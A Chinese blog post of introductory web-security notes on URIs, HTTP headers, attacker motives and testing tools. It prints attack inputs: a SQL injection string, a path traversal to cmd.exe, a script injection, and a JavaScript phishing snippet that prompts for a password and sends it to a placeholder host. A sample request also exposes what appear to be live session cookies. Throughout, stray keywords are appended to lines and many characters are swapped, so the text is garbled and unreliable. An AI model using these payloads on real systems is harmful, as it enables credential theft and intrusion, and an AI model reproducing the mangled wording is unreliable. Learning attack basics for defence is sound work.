web安全-入侵基础

注:需先了解HTTP请求头的含义. 在:HTTP 协议详解 中php

WEB应用:经过超文本传输协议HTTP访问的应用.css

1、Web应用入侵html

3种入侵方法:web

  a.经过图形化Web界面直接操纵应用.浏览器

  b.篡改统一资源标识符(URI).缓存

  c.篡改没有包含在URI中的HTTP元素.安全

2、GUI Web入侵服务器

  即在web浏览页面中直接操做,如在用户名框中直接输入 :'OR 1=1--cookie

3、URI 入侵网络

  RFC3986描述了URI(及其子集,包括更经常使用的术语统一资源定位符(URL))的结构和语法. 其中URI 以下:

    scheme://authority/path?query

  URI描述用于访问服务器(authority)上的一个资源(path)或者应用(query)的协议(scheme).

  注:标准HTTPS(无客户端验证)除了使客户端和服务器之间的通讯更难以窃听和干扰之外,对web应用的总体安全性没有任何做用 (其会话数据受SSL或TLS协议保护.)

  服务器:一台或者多台运行HTTP软件的计算机,(一般由其DNS名如www.somesite.com指定的计算机),web 应用协议基本上都是HTTP协议.

  path: 描述了应用文件所在文件夹或者目录的层次结构.
  查询:  包含了须要传递给服务器上保存的应用的可执行文件的参数.如:*.asp,*.aspx,*.php等等

  "?" 右变得部分称为查询串.

  eg: http://server/file.html

    http://server/folder/application?parameter1=value1&parameter2=value2

    http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel

  URI入侵的简单方式:

    https://server/folder/../../../../cmd.exe

    http://server/folder/application?parameter1=aaaaa...256 a's...]

    http://server/foldrer/application?parameter1=<script>'alert'</script>

4、请求头入侵,方法,头和主体

  请求头通常是不可见的,需借助工具才可查看.

  大部分WEB应用只是用两种方法:

     GET和POST,两者都向服务器发送信息,但二者有一个重要的不一样点,GET将全部的数据保留在URI(也就是地址栏)中,而POST的请求的主体(body)中放置数据.(在URI中不可见)

    POST请求并无比GET请求方式更好的保护数据,可是GET在发送数据时更可能在各类地方暴露数据,如客户端缓存web服务器日志

  HTTP头中相关的安全事例:

     Authorization:是否使用某种类型的验证.

    Cache-control:是否将请求的一个副本缓存在中间代理服务器上.

    Referer:列出浏览器到达当前连接的源URI,有时用于早期的容易攻破的验证方案.

    cookies:经常使用于存储自定义应用验证/会话令牌.

  eg:

GET /cgi-bin/test.cgi HTTP/1.1
Host: analy.qq.com
Connection: keep-alive
Accept: image/webp,image/*,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36
Referer: http://user.qzone.qq.com/99999999/infocenter?ptsig=i0vr2AgUQxZUVtfJM61NgokUZzsuaBgR942HM0swpfo_
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: luin=o1165121284; lskey=00010000cf24e125aeca588; ptui_loginuin=1165121284; 

 

5、资源,入侵就是为了获取资源

  web应用通常分为三层:

    表示层:通常是超文本表示语言(HTML)生成的静态页面,或者由动态脚本生成。

    逻辑层:负责前台业务和后台数据的交互.

    数据层:诱人的数据,如客户数据,信用卡号码等(这才是最关心的)

  文件类型:

    *.html : as static HTML file

    *.php : a HyperText Preprocessor, or PHP, script

    *.asp : a Microsoft Active Server Pages, or ASP script

    *.aspx : a Microsoft ASP.NET script

  动态脚本能够做为逻辑层,接受输入参数和值.

    http://server/script.php?input1=foo&fnput2=bar (&为两个变量的连接符)

    http://server/script.aspx?date=friday&time=1754

  如下多是独立的可执行文件而不是脚本,

    http://server/app?input1=foo&input2=bar

6、验证、会话和受权

  HTTP是无状态的,协议自己不维护任何会话状态。

  可是Web开发人员已经试图解决基本协议的这个问题,方法就是采用本身的验证、会话管理和受权功能,来实施某种形式的验证,而后将受权/会话信息隐藏在cookie中来实现.

  

7、Web客户端与HTML

  根据对Web应用的定义,Web应用客户端是可以理解HTTP程序,规范化的Web应用客户端是Web浏览器,它的语言是HTTP(以及其余协议)并用超文本标签语言(HTML)以及其余标记语言表现

  Web浏览器看上去彷佛很简单。因为HTML等语言的扩展性,看似静态的Web内容中能够嵌入大量的功能.例:

<html>
<SCRIPT Language="Javascript">
var password = prompt('Your seesion has expired. Please enter your password to continue.',' '); location.href="https://10.1.1.1/pass.cgi?password="+password;
</SCRIPT>
</html>

  除脚本之外,ActiveX程序、远程映像“Web bugs”以及层叠样式单(css)文件均可以在客户端进行恶意的活动,使用的仅仅是简单的ASCII文本。

  不断增长的客户端技术包括富互联网应用(Rich Internet Application,RIA)、用户生成内容(User-Generated Contents,UGC)、AJAX和移动设备“应用商城”,一场风暴正在兴起.(WEB安全!!!)

8、其余协议

  a.Web分布式创做和版权管理(Web-based Distributed Authoring and Versioning,WebDAV)

    WebDAV在RFC4918中定义,描述了用于远程Web服务器上的多种内容创做和管理机制.  

  b.基于XML的web服务中,简单对象访问协议(SOAP)是基于XML的用于web服务之间消息和RPC风格通讯的协议.

  c.以及JavaScript和XML(AJAX)和简易信息聚合(Relly Simple Syndication,RSS),RSS是一种基于XML的轻量级机制,用于在网站和客户端之间动态地反馈变化的“新闻提要”(RSS订阅.)

  d.同源策略(Same-origin Policy),最初期是单个客户和单个网站之间的一种简单关系。如今更复杂.

9、为何攻击Web应用

  1.广泛存在:今天Web应用无处不在.

  2.简单的技术:大部分基于文本,操做应用输入简单,和攻击复杂的操做系统简直不在一个量级.

  3.匿名性:有不少免责区域(随着发展愈来愈少),而且大量的HTTP/S代理,使得请求难以追踪.

  4.绕开防火墙:大部分典型的防火墙策略容许入站的HTTP/S.

  5.定制代码:因为Web技术易于理解,门槛低,大部分Web应用由缺少又经验的开发人员制做.

  6.不成熟的安全性:HTTP甚至没有实施分离单独的会话,许多开发人员在本身编写HTTP的基本验证和受权信息而且会出错.

  7.不断地变化:许多人不断地接触WEB应用,开发人员,系统管理员,内容管理者,普通用户,不多有人受过安全方面的培训,难保会执行相关的安全策略.

  8.钱.

10、谁、什么时候、何处

  谁,离校的无聊少年,有组织的犯罪。

  什么时候何处?全天候,全部地方(甚至内部网络)

11、工具

  Web浏览器、浏览器扩展、HTTP代理和命令行工具.

  1.Web浏览器:篡改浏览器地址栏中的URI文本。

  2.浏览器扩展:IE扩展(TamperIE、IEWatch、IE Headers)。Firefox扩展(LiveHTTPHeaders、TamperData、Modify Headers、)

  3.HTTP代理:HTTP代理可以分析和篡改非浏览器的HTTP客户端,这是浏览器扩展所作不到的。(IEToys)

    Paros Proxy、OWASP WebScarab(包含了HTTP代理、爬虫、会话ID分析、自动化脚本接口、Fuzzer、用于全部流行Web个是【Base6四、MD5等】的编码器/解码器工具,以及Web服务描述语言(WSDL)和SOAP解析程序等.)

    ProxMon: 主要目的是自动化完成Web应用渗透测试中乏味的部分,减小工做量.

    Fiddler : 自动配置IE使用它的本地代理,Localhost:8888。其余浏览器需手动配置.

    Burp Intruder : 基于JAVA的HTTP代理。

    Google Ratproxy :是为有经验的安全专家设计的,须要对Web应用安全问题有着充分的理解,能有效地使用它而且理解其输出.

  4.命令行工具:

    Ratproxy: 不建议经过Ratproxy使用Web爬虫或者类似工具,只限于手工测试.

    cURL : 免费的多平台命令行工具,用于操纵HTTP和HTTPS.

    netcat : “瑞士军刀”,将网络通讯的原始输入输出转储到命令行.

  5.较老的工具:

    Achilles、#StakeWebProxy、Form Scallpel、WASAT(web验证分析工具)以及WebSleuth

    通常来讲,越现代的工具越好.

12、参考与延伸阅读

RFC索引搜索引擎 http://www.rfc-editor.org/rfcsearch.html
HTTP1.0 RFC1945
HTTP1.1 RFC2616
HTTP“Origin”首部 https://wiki.mozilla.org/Security/Origin
HTML http://en.wikipedia/wiki/HTML
HTML5 http://en.wikipedia/wiki/HTML5
统一资源标识符(URI)

http://tools.ietf.org/html/rfc3986

http://en.wikipedia.org/wiki/Uniform_Resource_Identifier

HTTPS http://en.wikipedia.org/wiki/HTTPS
SSL(安全套接字层) http://wp.netscape.com/eng/ssl3
TLS(传输层安全) http://www.ietf.org/rfc/rfc2246.txt
可扩展性标记语言(XML) http://www.w3.org/XML/
WSDL http://www.w3.org/TR/wsdl
UDDI http://www.uddi.org
SOAP http://www.w3.org/TR/SOAP
WebGL http://en.wikipedia.org/wiki/WebGL
Google Native Client(Naci) http://en.wikipedia.org/wiki/Google_Native_Client

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OWASP Top10  http://www.owasp.org/documentation/topten.html

相关文章
相关标签/搜索